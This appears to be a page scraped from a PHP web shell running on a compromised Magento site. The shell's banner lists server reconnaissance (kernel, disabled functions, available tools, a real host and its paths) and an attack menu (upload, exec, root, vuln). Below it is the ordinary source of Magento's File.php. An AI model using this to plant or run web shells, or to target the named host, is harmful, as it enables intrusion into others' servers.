Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 05:42:37
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Asset/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Asset/File.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\View\Asset; /** * A locally available static view file asset that can be referred with a file path * * This class is a value object with lazy loading of some of its data (content, physical file path) * * @api * @since 100.0.2 */ class File implements MergeableInterface { /** * @var string */ protected $filePath; /** * @var string */ protected $module; /** * @var string */ protected $contentType; /** * @var ContextInterface */ protected $context; /** * @var Source */ protected $source; /** * @var string|bool */ private $resolvedFile; /** * @var Minification */ private $minification; /** * @var string */ private $sourceContentType; /** * @param Source $source * @param ContextInterface $context * @param string $filePath * @param string $module * @param string $contentType * @param Minification $minification */ public function __construct( Source $source, ContextInterface $context, $filePath, $module, $contentType, Minification $minification ) { $this->source = $source; $this->context = $context; $this->filePath = $filePath; $this->module = $module; $this->contentType = $contentType; $this->minification = $minification; } /** * {@inheritdoc} */ public function getUrl() { return $this->context->getBaseUrl() . $this->getPath(); } /** * {@inheritdoc} */ public function getSourceUrl() { return $this->context->getBaseUrl() . $this->getRelativeSourceFilePath(); } /** * {@inheritdoc} */ public function getContentType() { return $this->contentType; } /** * {@inheritdoc} */ public function getPath() { $result = ''; $result = $this->join($result, $this->context->getPath()); $result = $this->join($result, $this->module); $result = $this->join($result, $this->filePath); $result = $this->minification->addMinifiedSign($result); return $result; } /** * {@inheritdoc} */ public function getRelativeSourceFilePath() { $path = $this->filePath; $sourcePath = $this->source->findSource($this); if ($sourcePath) { $origExt = pathinfo($path, PATHINFO_EXTENSION); $ext = pathinfo($sourcePath, PATHINFO_EXTENSION); $path = str_replace('.' . $origExt, '.' . $ext, $this->filePath); } $result = ''; $result = $this->join($result, $this->context->getPath()); $result = $this->join($result, $this->module); $result = $this->join($result, $path); return $result; } /** * Subroutine for building path * * @param string $path * @param string $item * @return string */ private function join($path, $item) { return trim($path . ($item ? '/' . $item : ''), '/'); } /** * {@inheritdoc} * @throws File\NotFoundException if file cannot be resolved */ public function getSourceFile() { if (null === $this->resolvedFile) { $this->resolvedFile = $this->source->getFile($this); if (false === $this->resolvedFile) { throw new File\NotFoundException("Unable to resolve the source file for '{$this->getPath()}'"); } } return $this->resolvedFile; } /** * Get source content type * * @return string * @since 101.0.0 */ public function getSourceContentType() { if ($this->sourceContentType === null) { $this->sourceContentType = $this->source->getSourceContentType($this); } return $this->sourceContentType; } /** * {@inheritdoc} */ public function getContent() { $content = $this->source->getContent($this); if (false === $content) { throw new File\NotFoundException("Unable to get content for '{$this->getPath()}'"); } return $content; } /** * {@inheritdoc} */ public function getFilePath() { return $this->filePath; } /** * {@inheritdoc} * @return File\Context */ public function getContext() { return $this->context; } /** * {@inheritdoc} */ public function getModule() { return $this->module; } }